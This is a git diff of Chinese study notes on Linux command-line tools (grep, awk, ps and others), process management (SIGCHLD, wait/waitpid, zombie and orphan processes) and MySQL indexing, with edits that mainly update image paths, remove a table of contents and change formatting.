+$ split [-bl] file PREFIX
+-b ：以大小来进行分区，可加单位，例如 b, k, m 等
+-l ：以行数来进行分区。
+- PREFIX ：分区文件的前导名称
 ```
 
-# 九、正则表达式
+# 九、正则表达式
 
-## grep
+## grep
 
-g/re/p（globally search a regular expression and print)，使用正则表示式进行全局查找并打印。
+g/re/p（globally search a regular expression and print)，使用正则表示式进行全局查找并打印。
 
 ```html
-$ grep [-acinv] [--color=auto] 搜寻字符串 filename
--c ： 统计个数
--i ： 忽略大小写
--n ： 输出行号
--v ： 反向选择，也就是显示出没有 搜寻字符串 内容的那一行
---color=auto ：找到的关键字加颜色显示
+$ grep [-acinv] [--color=auto] 搜寻字符串 filename
+-c ： 统计个数
+-i ： 忽略大小写
+-n ： 输出行号
+-v ： 反向选择，也就是显示出没有 搜寻字符串 内容的那一行
+--color=auto ：找到的关键字加颜色显示
 ```
 
-示例：把含有 the 字符串的行提取出来（注意默认会有 --color=auto 选项，因此以下内容在 Linux 中有颜色显示 the 字符串）
+示例：把含有 the 字符串的行提取出来（注意默认会有 --color=auto 选项，因此以下内容在 Linux 中有颜色显示 the 字符串）
 
 ```html
-$ grep -n 'the' regular_express.txt
-8:I can't finish the test.
-12:the symbol '*' is represented as start.
-15:You are the best is mean you are the no. 1.
-16:The world Happy is the same with "glad".
-18:google is the best tools for search keyword
+$ grep -n 'the' regular_express.txt
+8:I can't finish the test.
+12:the symbol '*' is represented as start.
+15:You are the best is mean you are the no. 1.
+16:The world Happy is the same with "glad".
+18:google is the best tools for search keyword
 ```
 
-因为 { 和 } 在 shell 是有特殊意义的，因此必须要使用转义字符进行转义。
+因为 { 和 } 在 shell 是有特殊意义的，因此必须要使用转义字符进行转义。
 
 ```html
-$ grep -n 'go\{2,5\}g' regular_express.txt
+$ grep -n 'go\{2,5\}g' regular_express.txt
 ```
 
-## printf
+## printf
 
-用于格式化输出。它不属于管道命令，在给 printf 传数据时需要使用 $( ) 形式。
+用于格式化输出。它不属于管道命令，在给 printf 传数据时需要使用 $( ) 形式。
 
 ```html
-$ printf '%10s %5i %5i %5i %8.2f \n' $(cat printf.txt)
-    DmTsai    80    60    92    77.33
-     VBird    75    55    80    70.00
-       Ken    60    90    70    73.33
+$ printf '%10s %5i %5i %5i %8.2f \n' $(cat printf.txt)
+    DmTsai    80    60    92    77.33
+     VBird    75    55    80    70.00
+       Ken    60    90    70    73.33
 ```
 
-## awk
+## awk
 
-是由 Alfred Aho，Peter Weinberger, 和 Brian Kernighan 创造，awk 这个名字就是这三个创始人名字的首字母。
+是由 Alfred Aho，Peter Weinberger, 和 Brian Kernighan 创造，awk 这个名字就是这三个创始人名字的首字母。
 
-awk 每次处理一行，处理的最小单位是字段，每个字段的命名方式为：\$n，n 为字段号，从 1 开始，\$0 表示一整行。
+awk 每次处理一行，处理的最小单位是字段，每个字段的命名方式为：\$n，n 为字段号，从 1 开始，\$0 表示一整行。
 
-示例：取出最近五个登录用户的用户名和 IP
+示例：取出最近五个登录用户的用户名和 IP
 
 ```html
-$ last -n 5
-dmtsai pts/0 192.168.1.100 Tue Jul 14 17:32 still logged in
-dmtsai pts/0 192.168.1.100 Thu Jul 9 23:36 - 02:58 (03:22)
-dmtsai pts/0 192.168.1.100 Thu Jul 9 17:23 - 23:36 (06:12)
-dmtsai pts/0 192.168.1.100 Thu Jul 9 08:02 - 08:17 (00:14)
-dmtsai tty1 Fri May 29 11:55 - 12:11 (00:15)
+$ last -n 5
+dmtsai pts/0 192.168.1.100 Tue Jul 14 17:32 still logged in
+dmtsai pts/0 192.168.1.100 Thu Jul 9 23:36 - 02:58 (03:22)
+dmtsai pts/0 192.168.1.100 Thu Jul 9 17:23 - 23:36 (06:12)
+dmtsai pts/0 192.168.1.100 Thu Jul 9 08:02 - 08:17 (00:14)
+dmtsai tty1 Fri May 29 11:55 - 12:11 (00:15)
 ```
 
 ```html
-$ last -n 5 | awk '{print $1 "\t" $3}'
+$ last -n 5 | awk '{print $1 "\t" $3}'
 ```
 
 可以根据字段的某些条件进行匹配，例如匹配字段小于某个值的那一行数据。
 
 ```html
-$ awk '条件类型 1 {动作 1} 条件类型 2 {动作 2} ...' filename
+$ awk '条件类型 1 {动作 1} 条件类型 2 {动作 2} ...' filename
 ```
 
-示例：/etc/passwd 文件第三个字段为 UID，对 UID 小于 10 的数据进行处理。
+示例：/etc/passwd 文件第三个字段为 UID，对 UID 小于 10 的数据进行处理。
 
 ```text
-$ cat /etc/passwd | awk 'BEGIN {FS=":"} $3 < 10 {print $1 "\t " $3}'
-root 0
-bin 1
-daemon 2
+$ cat /etc/passwd | awk 'BEGIN {FS=":"} $3 < 10 {print $1 "\t " $3}'
+root 0
+bin 1
+daemon 2
 ```
 
-awk 变量：
+awk 变量：
 
-| 变量名称 | 代表意义 |
-| :--: | -- |
-| NF | 每一行拥有的字段总数 |
-| NR | 目前所处理的是第几行数据 |
-| FS | 目前的分隔字符，默认是空格键 |
+| 变量名称 | 代表意义 |
+| :--: | -- |
+| NF | 每一行拥有的字段总数 |
+| NR | 目前所处理的是第几行数据 |
+| FS | 目前的分隔字符，默认是空格键 |
 
 示例：显示正在处理的行号以及每一行有多少字段
 
 ```html
-$ last -n 5 | awk '{print $1 "\t lines: " NR "\t columns: " NF}'
-dmtsai lines: 1 columns: 10
-dmtsai lines: 2 columns: 10
-dmtsai lines: 3 columns: 10
-dmtsai lines: 4 columns: 10
-dmtsai lines: 5 columns: 9
+$ last -n 5 | awk '{print $1 "\t lines: " NR "\t columns: " NF}'
+dmtsai lines: 1 columns: 10
+dmtsai lines: 2 columns: 10
+dmtsai lines: 3 columns: 10
+dmtsai lines: 4 columns: 10
+dmtsai lines: 5 columns: 9
 ```
 
-# 十、进程管理
+# 十、进程管理
 
-## 查看进程
+## 查看进程
 
-### 1. ps
+### 1. ps
 
 查看某个时间点的进程信息
 
 示例一：查看自己的进程
 
 ```sh
-# ps -l
+# ps -l
 ```
 
 示例二：查看系统所有进程
 
 ```sh
-# ps aux
+# ps aux
 ```
 
 示例三：查看特定的进程
 
 ```sh
-# ps aux | grep threadx
+# ps aux | grep threadx
 ```
 
-### 2. pstree
+### 2. pstree
 
 查看进程树
 
 示例：查看所有进程树
 
 ```sh
-# pstree -A
+# pstree -A
 ```
 
-### 3. top
+### 3. top
 
 实时显示进程信息
 
 示例：两秒钟刷新一次
 
 ```sh
-# top -d 2
+# top -d 2
 ```
 
-### 4. netstat
+### 4. netstat
 
 查看占用端口的进程
 
 示例：查看特定端口的进程
 
 ```sh
-# netstat -anp | grep port
+# netstat -anp | grep port
 ```
 
-## 进程状态
+## 进程状态
 
-| 状态 | 说明 |
-| :---: | --- |
-| R | running or runnable (on run queue) |
-| D | uninterruptible sleep (usually I/O) |
-| S | interruptible sleep (waiting for an event to complete) |
-| Z | zombie (terminated but not reaped by its parent) |
-| T | stopped (either by a job control signal or because it is being traced) |
+| 状态 | 说明 |
+| :---: | --- |
+| R | running or runnable (on run queue) |
+| D | uninterruptible sleep (usually I/O) |
+| S | interruptible sleep (waiting for an event to complete) |
+| Z | zombie (terminated but not reaped by its parent) |
+| T | stopped (either by a job control signal or because it is being traced) |
 <br>
-<div align="center"> <img src="pics/76a49594323247f21c9b3a69945445ee.png" width=""/> </div><br>
+<img src="index_files/76a49594323247f21c9b3a69945445ee.png" width=""/>
 
-## SIGCHLD
+## SIGCHLD
 
 当一个子进程改变了它的状态时（停止运行，继续运行或者退出），有两件事会发生在父进程中：
 
-- 得到 SIGCHLD 信号；
-- waitpid() 或者 wait() 调用会返回。
+- 得到 SIGCHLD 信号；
+- waitpid() 或者 wait() 调用会返回。
 
-其中子进程发送的 SIGCHLD 信号包含了子进程的信息，比如进程 ID、进程状态、进程使用 CPU 的时间等。
+其中子进程发送的 SIGCHLD 信号包含了子进程的信息，比如进程 ID、进程状态、进程使用 CPU 的时间等。
 
-在子进程退出时，它的进程描述符不会立即释放，这是为了让父进程得到子进程信息，父进程通过 wait() 和 waitpid() 来获得一个已经退出的子进程的信息。
+在子进程退出时，它的进程描述符不会立即释放，这是为了让父进程得到子进程信息，父进程通过 wait() 和 waitpid() 来获得一个已经退出的子进程的信息。
 
-<div align="center"> <img src="pics/flow.png" width=""/> </div><br>
+<img src="index_files/flow.png" width=""/>
 
-## wait()
+## wait()
 
 ```c
-pid_t wait(int *status)
+pid_t wait(int *status)
 ```
 
-父进程调用 wait() 会一直阻塞，直到收到一个子进程退出的 SIGCHLD 信号，之后 wait() 函数会销毁子进程并返回。
+父进程调用 wait() 会一直阻塞，直到收到一个子进程退出的 SIGCHLD 信号，之后 wait() 函数会销毁子进程并返回。
 
-如果成功，返回被收集的子进程的进程 ID；如果调用进程没有子进程，调用就会失败，此时返回 -1，同时 errno 被置为 ECHILD。
+如果成功，返回被收集的子进程的进程 ID；如果调用进程没有子进程，调用就会失败，此时返回 -1，同时 errno 被置为 ECHILD。
 
-参数 status 用来保存被收集的子进程退出时的一些状态，如果对这个子进程是如何死掉的毫不在意，只想把这个子进程消灭掉，可以设置这个参数为 NULL。
+参数 status 用来保存被收集的子进程退出时的一些状态，如果对这个子进程是如何死掉的毫不在意，只想把这个子进程消灭掉，可以设置这个参数为 NULL。
 
-## waitpid()
+## waitpid()
 
 ```c
-pid_t waitpid(pid_t pid, int *status, int options)
+pid_t waitpid(pid_t pid, int *status, int options)
 ```
 
-作用和 wait() 完全相同，但是多了两个可由用户控制的参数 pid 和 options。
+作用和 wait() 完全相同，但是多了两个可由用户控制的参数 pid 和 options。
 
-pid 参数指示一个子进程的 ID，表示只关心这个子进程退出的 SIGCHLD 信号。如果 pid=-1 时，那么和 wait() 作用相同，都是关心所有子进程退出的 SIGCHLD 信号。
+pid 参数指示一个子进程的 ID，表示只关心这个子进程退出的 SIGCHLD 信号。如果 pid=-1 时，那么和 wait() 作用相同，都是关心所有子进程退出的 SIGCHLD 信号。
 
-options 参数主要有 WNOHANG 和 WUNTRACED 两个选项，WNOHANG 可以使 waitpid() 调用变成非阻塞的，也就是说它会立即返回，父进程可以继续执行其它任务。
+options 参数主要有 WNOHANG 和 WUNTRACED 两个选项，WNOHANG 可以使 waitpid() 调用变成非阻塞的，也就是说它会立即返回，父进程可以继续执行其它任务。
 
-## 孤儿进程
+## 孤儿进程
 
 一个父进程退出，而它的一个或多个子进程还在运行，那么这些子进程将成为孤儿进程。
 
-孤儿进程将被 init 进程（进程号为 1）所收养，并由 init 进程对它们完成状态收集工作。
+孤儿进程将被 init 进程（进程号为 1）所收养，并由 init 进程对它们完成状态收集工作。
 
-由于孤儿进程会被 init 进程收养，所以孤儿进程不会对系统造成危害。
+由于孤儿进程会被 init 进程收养，所以孤儿进程不会对系统造成危害。
 
-## 僵尸进程
+## 僵尸进程
 
-一个子进程的进程描述符在子进程退出时不会释放，只有当父进程通过 wait() 或 waitpid() 获取了子进程信息后才会释放。如果子进程退出，而父进程并没有调用 wait() 或 waitpid()，那么子进程的进程描述符仍然保存在系统中，这种进程称之为僵尸进程。
+一个子进程的进程描述符在子进程退出时不会释放，只有当父进程通过 wait() 或 waitpid() 获取了子进程信息后才会释放。如果子进程退出，而父进程并没有调用 wait() 或 waitpid()，那么子进程的进程描述符仍然保存在系统中，这种进程称之为僵尸进程。
 
-僵尸进程通过 ps 命令显示出来的状态为 Z（zombie）。
+僵尸进程通过 ps 命令显示出来的状态为 Z（zombie）。
 
 系统所能使用的进程号是有限的，如果产生大量僵尸进程，将因为没有可用的进程号而导致系统不能产生新的进程。
 
-要消灭系统中大量的僵尸进程，只需要将其父进程杀死，此时僵尸进程就会变成孤儿进程，从而被 init 所收养，这样 init 就会释放所有的僵尸进程所占有的资源，从而结束僵尸进程。
+要消灭系统中大量的僵尸进程，只需要将其父进程杀死，此时僵尸进程就会变成孤儿进程，从而被 init 所收养，这样 init 就会释放所有的僵尸进程所占有的资源，从而结束僵尸进程。
 
-# 参考资料
+# 参考资料
 
-- 鸟哥. 鸟 哥 的 Linux 私 房 菜 基 础 篇 第 三 版[J]. 2009.
-- [Linux 平台上的软件包管理](https://www.ibm.com/developerworks/cn/linux/l-cn-rpmdpkg/index.html)
-- [Linux 之守护进程、僵死进程与孤儿进程](http://liubigbin.github.io/2016/03/11/Linux-%E4%B9%8B%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%E3%80%81%E5%83%B5%E6%AD%BB%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B/)
-- [What is the difference between a symbolic link and a hard link?](https://stackoverflow.com/questions/185899/what-is-the-difference-between-a-symbolic-link-and-a-hard-link)
-- [Linux process states](https://idea.popcount.org/2012-12-11-linux-process-states/)
-- [GUID Partition Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
-- [详解 wait 和 waitpid 函数](https://blog.csdn.net/kevinhg/article/details/7001719)
-- [IDE、SATA、SCSI、SAS、FC、SSD 硬盘类型介绍](https://blog.csdn.net/tianlesoftware/article/details/6009110)
-- [Akai IB-301S SCSI Interface for S2800,S3000](http://www.mpchunter.com/s3000/akai-ib-301s-scsi-interface-for-s2800s3000/)
-- [Parallel ATA](https://en.wikipedia.org/wiki/Parallel_ATA)
-- [ADATA XPG SX900 256GB SATA 3 SSD Review – Expanded Capacity and SandForce Driven Speed](http://www.thessdreview.com/our-reviews/adata-xpg-sx900-256gb-sata-3-ssd-review-expanded-capacity-and-sandforce-driven-speed/4/)
-- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
-- [硬盘](https://zh.wikipedia.org/wiki/%E7%A1%AC%E7%9B%98)
-- [Difference between SAS and SATA](http://www.differencebetween.info/difference-between-sas-and-sata)
-- [BIOS](https://zh.wikipedia.org/wiki/BIOS)
-- [File system design case studies](https://www.cs.rutgers.edu/\~pxk/416/notes/13-fs-studies.html)
-- [Programming Project #4](https://classes.soe.ucsc.edu/cmps111/Fall08/proj4.shtml)
-- [FILE SYSTEM DESIGN](http://web.cs.ucla.edu/classes/fall14/cs111/scribe/11a/index.html)
+- 鸟哥. 鸟 哥 的 Linux 私 房 菜 基 础 篇 第 三 版[J]. 2009.
+- [Linux 平台上的软件包管理](https://www.ibm.com/developerworks/cn/linux/l-cn-rpmdpkg/index.html)
+- [Linux 之守护进程、僵死进程与孤儿进程](http://liubigbin.github.io/2016/03/11/Linux-%E4%B9%8B%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%E3%80%81%E5%83%B5%E6%AD%BB%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B/)
+- [What is the difference between a symbolic link and a hard link?](https://stackoverflow.com/questions/185899/what-is-the-difference-between-a-symbolic-link-and-a-hard-link)
+- [Linux process states](https://idea.popcount.org/2012-12-11-linux-process-states/)
+- [GUID Partition Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
+- [详解 wait 和 waitpid 函数](https://blog.csdn.net/kevinhg/article/details/7001719)
+- [IDE、SATA、SCSI、SAS、FC、SSD 硬盘类型介绍](https://blog.csdn.net/tianlesoftware/article/details/6009110)
+- [Akai IB-301S SCSI Interface for S2800,S3000](http://www.mpchunter.com/s3000/akai-ib-301s-scsi-interface-for-s2800s3000/)
+- [Parallel ATA](https://en.wikipedia.org/wiki/Parallel_ATA)
+- [ADATA XPG SX900 256GB SATA 3 SSD Review – Expanded Capacity and SandForce Driven Speed](http://www.thessdreview.com/our-reviews/adata-xpg-sx900-256gb-sata-3-ssd-review-expanded-capacity-and-sandforce-driven-speed/4/)
+- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)
+- [硬盘](https://zh.wikipedia.org/wiki/%E7%A1%AC%E7%9B%98)
+- [Difference between SAS and SATA](http://www.differencebetween.info/difference-between-sas-and-sata)
+- [BIOS](https://zh.wikipedia.org/wiki/BIOS)
+- [File system design case studies](https://www.cs.rutgers.edu/~pxk/416/notes/13-fs-studies.html)
+- [Programming Project #4](https://classes.soe.ucsc.edu/cmps111/Fall08/proj4.shtml)
+- [FILE SYSTEM DESIGN](http://web.cs.ucla.edu/classes/fall14/cs111/scribe/11a/index.html)
+---bottom---CyC---
+![](index_files/5942debd-fc00-477a-b390-7c5692cc8070.jpg)
+![](index_files/924914c0-660c-4e4a-bbc0-1df1146e7516.jpg)
+![](index_files/f9f2a16b-4843-44d1-9759-c745772e9bcf.jpg)
+![](index_files/f0574025-c514-49f5-a591-6d6a71f271f7.jpg)
+![](index_files/6729baa0-57d7-4817-b3aa-518cbccf824c.jpg)
+![](index_files/GUID_Partition_Table_Scheme.svg.png)
+![](index_files/50831a6f-2777-46ea-a571-29f23c85cc21.jpg)
+![](index_files/f900f266-a323-42b2-bc43-218fdb8811a8.jpg)
+![](index_files/BSD_disk.png)
+![](index_files/83185315-793a-453a-a927-5e8d92b5c0ef.jpg)
+![](index_files/075e1977-7846-4928-96c8-bb5b0268693c.jpg)
+![](index_files/inode_with_signatures.jpg)
+![](index_files/linux-filesystem.png)
+![](index_files/b8081c84-62c4-4019-b3ee-4bd0e443d647.jpg)
+![](index_files/658fc5e7-79c0-4247-9445-d69bf194c539.png)
+![](index_files/76a49594323247f21c9b3a69945445ee.png)
+![](index_files/flow.png)
diff --git a/docs/notes/MySQL.md b/docs/notes/MySQL.md
index 720e476e..ab8dba5b 100644
--- a/docs/notes/MySQL.md
+++ b/docs/notes/MySQL.md
@@ -1,79 +1,46 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、索引](#一索引)
-    * [B+ Tree 原理](#b-tree-原理)
-    * [MySQL 索引](#mysql-索引)
-    * [索引优化](#索引优化)
-    * [索引的优点](#索引的优点)
-    * [索引的使用条件](#索引的使用条件)
-* [二、查询性能优化](#二查询性能优化)
-    * [使用 Explain 进行分析](#使用-explain-进行分析)
-    * [优化数据访问](#优化数据访问)
-    * [重构查询方式](#重构查询方式)
-* [三、存储引擎](#三存储引擎)
-    * [InnoDB](#innodb)
-    * [MyISAM](#myisam)
-    * [比较](#比较)
-* [四、数据类型](#四数据类型)
-    * [整型](#整型)
-    * [浮点数](#浮点数)
-    * [字符串](#字符串)
-    * [时间和日期](#时间和日期)
-* [五、切分](#五切分)
-    * [水平切分](#水平切分)
-    * [垂直切分](#垂直切分)
-    * [Sharding 策略](#sharding-策略)
-    * [Sharding 存在的问题](#sharding-存在的问题)
-* [六、复制](#六复制)
-    * [主从复制](#主从复制)
-    * [读写分离](#读写分离)
-* [参考资料](#参考资料)
-<!-- GFM-TOC -->
+# 一、索引
 
+## B+ Tree 原理
 
-# 一、索引
+### 1. 数据结构
 
-## B+ Tree 原理
+B Tree 指的是 Balance Tree，也就是平衡树。平衡树是一颗查找树，并且所有叶子节点位于同一层。
 
-### 1. 数据结构
+B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现，它具有 B Tree 的平衡性，并且通过顺序访问指针来提高区间查询的性能。
 
-B Tree 指的是 Balance Tree，也就是平衡树。平衡树是一颗查找树，并且所有叶子节点位于同一层。
+在 B+ Tree 中，一个节点中的 key 从左到右非递减排列，如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>，且不为 null，则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>。
 
-B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现，它具有 B Tree 的平衡性，并且通过顺序访问指针来提高区间查询的性能。
+<img src="index_files/d5ce91a7-45f9-4560-9917-0dccd4900826.png" width="400px">
 
-在 B+ Tree 中，一个节点中的 key 从左到右非递减排列，如果某个指针的左右相邻 key 分别是 key<sub>i</sub> 和 key<sub>i+1</sub>，且不为 null，则该指针指向节点的所有 key 大于等于 key<sub>i</sub> 且小于等于 key<sub>i+1</sub>。
+### 2. 操作
 
-<div align="center"> <img src="pics/d5ce91a7-45f9-4560-9917-0dccd4900826.png" width="400px"> </div><br>
-
-### 2. 操作
-
-进行查找操作时，首先在根节点进行二分查找，找到一个 key 所在的指针，然后递归地在指针所指向的节点进行查找。直到查找到叶子节点，然后在叶子节点上进行二分查找，找出 key 所对应的 data。
+进行查找操作时，首先在根节点进行二分查找，找到一个 key 所在的指针，然后递归地在指针所指向的节点进行查找。直到查找到叶子节点，然后在叶子节点上进行二分查找，找出 key 所对应的 data。
 
 插入删除操作会破坏平衡树的平衡性，因此在插入删除操作之后，需要对树进行一个分裂、合并、旋转等操作来维护平衡性。
 
-### 3. 与红黑树的比较
+### 3. 与红黑树的比较
 
-红黑树等平衡树也可以用来实现索引，但是文件系统及数据库系统普遍采用 B+ Tree 作为索引结构，主要有以下两个原因：
+红黑树等平衡树也可以用来实现索引，但是文件系统及数据库系统普遍采用 B+ Tree 作为索引结构，主要有以下两个原因：
 
 （一）更少的查找次数
 
-平衡树查找操作的时间复杂度和树高 h 相关，O(h)=O(log<sub>d</sub>N)，其中 d 为每个节点的出度。
+平衡树查找操作的时间复杂度和树高 h 相关，O(h)=O(log<sub>d</sub>N)，其中 d 为每个节点的出度。
 
-红黑树的出度为 2，而 B+ Tree 的出度一般都非常大，所以红黑树的树高 h 很明显比 B+ Tree 大非常多，查找的次数也就更多。
+红黑树的出度为 2，而 B+ Tree 的出度一般都非常大，所以红黑树的树高 h 很明显比 B+ Tree 大非常多，查找的次数也就更多。
 
 （二）利用磁盘预读特性
 
-为了减少磁盘 I/O 操作，磁盘往往不是严格按需读取，而是每次都会预读。预读过程中，磁盘进行顺序读取，顺序读取不需要进行磁盘寻道，并且只需要很短的旋转时间，速度会非常快。
+为了减少磁盘 I/O 操作，磁盘往往不是严格按需读取，而是每次都会预读。预读过程中，磁盘进行顺序读取，顺序读取不需要进行磁盘寻道，并且只需要很短的旋转时间，速度会非常快。
 
-操作系统一般将内存和磁盘分割成固定大小的块，每一块称为一页，内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小，使得一次 I/O 就能完全载入一个节点。并且可以利用预读特性，相邻的节点也能够被预先载入。
+操作系统一般将内存和磁盘分割成固定大小的块，每一块称为一页，内存与磁盘以页为单位交换数据。数据库系统将索引的一个节点的大小设置为页的大小，使得一次 I/O 就能完全载入一个节点。并且可以利用预读特性，相邻的节点也能够被预先载入。
 
-## MySQL 索引
+## MySQL 索引
 
 索引是在存储引擎层实现的，而不是在服务器层实现的，所以不同存储引擎具有不同的索引类型和实现。
 
-### 1. B+Tree 索引
+### 1. B+Tree 索引
 
-是大多数 MySQL 存储引擎的默认索引类型。
+是大多数 MySQL 存储引擎的默认索引类型。
 
 因为不再需要进行全表扫描，只需要对树进行搜索即可，所以查找速度快很多。
 
@@ -83,185 +50,185 @@ B+ Tree 是基于 B Tree 和叶子节点顺序访问指针进行实现，它具
 
 适用于全键值、键值范围和键前缀查找，其中键前缀查找只适用于最左前缀查找。如果不是按照索引列的顺序进行查找，则无法使用索引。
 
-InnoDB 的 B+Tree 索引分为主索引和辅助索引。主索引的叶子节点 data 域记录着完整的数据记录，这种索引方式被称为聚簇索引。因为无法把数据行存放在两个不同的地方，所以一个表只能有一个聚簇索引。
+InnoDB 的 B+Tree 索引分为主索引和辅助索引。主索引的叶子节点 data 域记录着完整的数据记录，这种索引方式被称为聚簇索引。因为无法把数据行存放在两个不同的地方，所以一个表只能有一个聚簇索引。
 
-<div align="center"> <img src="pics/0f6f92e8-f15e-4c09-8562-b9c6114df9ce.png" width="400px"> </div><br>
+<img src="index_files/0f6f92e8-f15e-4c09-8562-b9c6114df9ce.png" width="400px">
 
-辅助索引的叶子节点的 data 域记录着主键的值，因此在使用辅助索引进行查找时，需要先查找到主键值，然后再到主索引中进行查找。
+辅助索引的叶子节点的 data 域记录着主键的值，因此在使用辅助索引进行查找时，需要先查找到主键值，然后再到主索引中进行查找。
 
-<div align="center"> <img src="pics/1e74234e-d70b-411c-9333-226bcbb9c8f0.png" width="400px"> </div><br>
+<img src="index_files/1e74234e-d70b-411c-9333-226bcbb9c8f0.png" width="400px">
 
-### 2. 哈希索引
+### 2. 哈希索引
 
-哈希索引能以 O(1) 时间进行查找，但是失去了有序性：
+哈希索引能以 O(1) 时间进行查找，但是失去了有序性：
 
-- 无法用于排序与分组；
-- 只支持精确查找，无法用于部分查找和范围查找。
+- 无法用于排序与分组；
+- 只支持精确查找，无法用于部分查找和范围查找。
 
-InnoDB 存储引擎有一个特殊的功能叫“自适应哈希索引”，当某个索引值被使用的非常频繁时，会在 B+Tree 索引之上再创建一个哈希索引，这样就让 B+Tree 索引具有哈希索引的一些优点，比如快速的哈希查找。
+InnoDB 存储引擎有一个特殊的功能叫“自适应哈希索引”，当某个索引值被使用的非常频繁时，会在 B+Tree 索引之上再创建一个哈希索引，这样就让 B+Tree 索引具有哈希索引的一些优点，比如快速的哈希查找。
 
-### 3. 全文索引
+### 3. 全文索引
 
-MyISAM 存储引擎支持全文索引，用于查找文本中的关键词，而不是直接比较是否相等。
+MyISAM 存储引擎支持全文索引，用于查找文本中的关键词，而不是直接比较是否相等。
 
-查找条件使用 MATCH AGAINST，而不是普通的 WHERE。
+查找条件使用 MATCH AGAINST，而不是普通的 WHERE。
 
 全文索引使用倒排索引实现，它记录着关键词到其所在文档的映射。
 
-InnoDB 存储引擎在 MySQL 5.6.4 版本中也开始支持全文索引。
+InnoDB 存储引擎在 MySQL 5.6.4 版本中也开始支持全文索引。
 
-### 4. 空间数据索引
+### 4. 空间数据索引
 
-MyISAM 存储引擎支持空间数据索引（R-Tree），可以用于地理数据存储。空间数据索引会从所有维度来索引数据，可以有效地使用任意维度来进行组合查询。
+MyISAM 存储引擎支持空间数据索引（R-Tree），可以用于地理数据存储。空间数据索引会从所有维度来索引数据，可以有效地使用任意维度来进行组合查询。
 
-必须使用 GIS 相关的函数来维护数据。
+必须使用 GIS 相关的函数来维护数据。
 
-## 索引优化
+## 索引优化
 
-### 1. 独立的列
+### 1. 独立的列
 
 在进行查询时，索引列不能是表达式的一部分，也不能是函数的参数，否则无法使用索引。
 
-例如下面的查询不能使用 actor_id 列的索引：
+例如下面的查询不能使用 actor_id 列的索引：
 
 ```sql
-SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
+SELECT actor_id FROM sakila.actor WHERE actor_id + 1 = 5;
 ```
 
-### 2. 多列索引
+### 2. 多列索引
 
-在需要使用多个列作为条件进行查询时，使用多列索引比使用多个单列索引性能更好。例如下面的语句中，最好把 actor_id 和 film_id 设置为多列索引。
+在需要使用多个列作为条件进行查询时，使用多列索引比使用多个单列索引性能更好。例如下面的语句中，最好把 actor_id 和 film_id 设置为多列索引。
 
 ```sql
-SELECT film_id, actor_ id FROM sakila.film_actor
-WHERE actor_id = 1 AND film_id = 1;
+SELECT film_id, actor_ id FROM sakila.film_actor
+WHERE actor_id = 1 AND film_id = 1;
 ```
 
-### 3. 索引列的顺序
+### 3. 索引列的顺序
 
 让选择性最强的索引列放在前面。
 
-索引的选择性是指：不重复的索引值和记录总数的比值。最大值为 1，此时每个记录都有唯一的索引与其对应。选择性越高，查询效率也越高。
+索引的选择性是指：不重复的索引值和记录总数的比值。最大值为 1，此时每个记录都有唯一的索引与其对应。选择性越高，查询效率也越高。
 
-例如下面显示的结果中 customer_id 的选择性比 staff_id 更高，因此最好把 customer_id 列放在多列索引的前面。
+例如下面显示的结果中 customer_id 的选择性比 staff_id 更高，因此最好把 customer_id 列放在多列索引的前面。
 
 ```sql
-SELECT COUNT(DISTINCT staff_id)/COUNT(*) AS staff_id_selectivity,
-COUNT(DISTINCT customer_id)/COUNT(*) AS customer_id_selectivity,
+SELECT COUNT(DISTINCT staff_id)/COUNT(*) AS staff_id_selectivity,
+COUNT(DISTINCT customer_id)/COUNT(*) AS customer_id_selectivity,
 COUNT(*)
-FROM payment;
+FROM payment;
 ```
 
 ```html
-   staff_id_selectivity: 0.0001
-customer_id_selectivity: 0.0373
-               COUNT(*): 16049
+   staff_id_selectivity: 0.0001
+customer_id_selectivity: 0.0373
+               COUNT(*): 16049
 ```
 
-### 4. 前缀索引
+### 4. 前缀索引
 
-对于 BLOB、TEXT 和 VARCHAR 类型的列，必须使用前缀索引，只索引开始的部分字符。
+对于 BLOB、TEXT 和 VARCHAR 类型的列，必须使用前缀索引，只索引开始的部分字符。
 
 对于前缀长度的选取需要根据索引选择性来确定。
 
-### 5. 覆盖索引
+### 5. 覆盖索引
 
 索引包含所有需要查询的字段的值。
 
 具有以下优点：
 
-- 索引通常远小于数据行的大小，只读取索引能大大减少数据访问量。
-- 一些存储引擎（例如 MyISAM）在内存中只缓存索引，而数据依赖于操作系统来缓存。因此，只访问索引可以不使用系统调用（通常比较费时）。
-- 对于 InnoDB 引擎，若辅助索引能够覆盖查询，则无需访问主索引。
+- 索引通常远小于数据行的大小，只读取索引能大大减少数据访问量。
+- 一些存储引擎（例如 MyISAM）在内存中只缓存索引，而数据依赖于操作系统来缓存。因此，只访问索引可以不使用系统调用（通常比较费时）。
+- 对于 InnoDB 引擎，若辅助索引能够覆盖查询，则无需访问主索引。
 
-## 索引的优点
+## 索引的优点
 
-- 大大减少了服务器需要扫描的数据行数。
+- 大大减少了服务器需要扫描的数据行数。
 
-- 帮助服务器避免进行排序和分组，以及避免创建临时表（B+Tree 索引是有序的，可以用于 ORDER BY 和 GROUP BY 操作。临时表主要是在排序和分组过程中创建，因为不需要排序和分组，也就不需要创建临时表）。
+- 帮助服务器避免进行排序和分组，以及避免创建临时表（B+Tree 索引是有序的，可以用于 ORDER BY 和 GROUP BY 操作。临时表主要是在排序和分组过程中创建，因为不需要排序和分组，也就不需要创建临时表）。
 
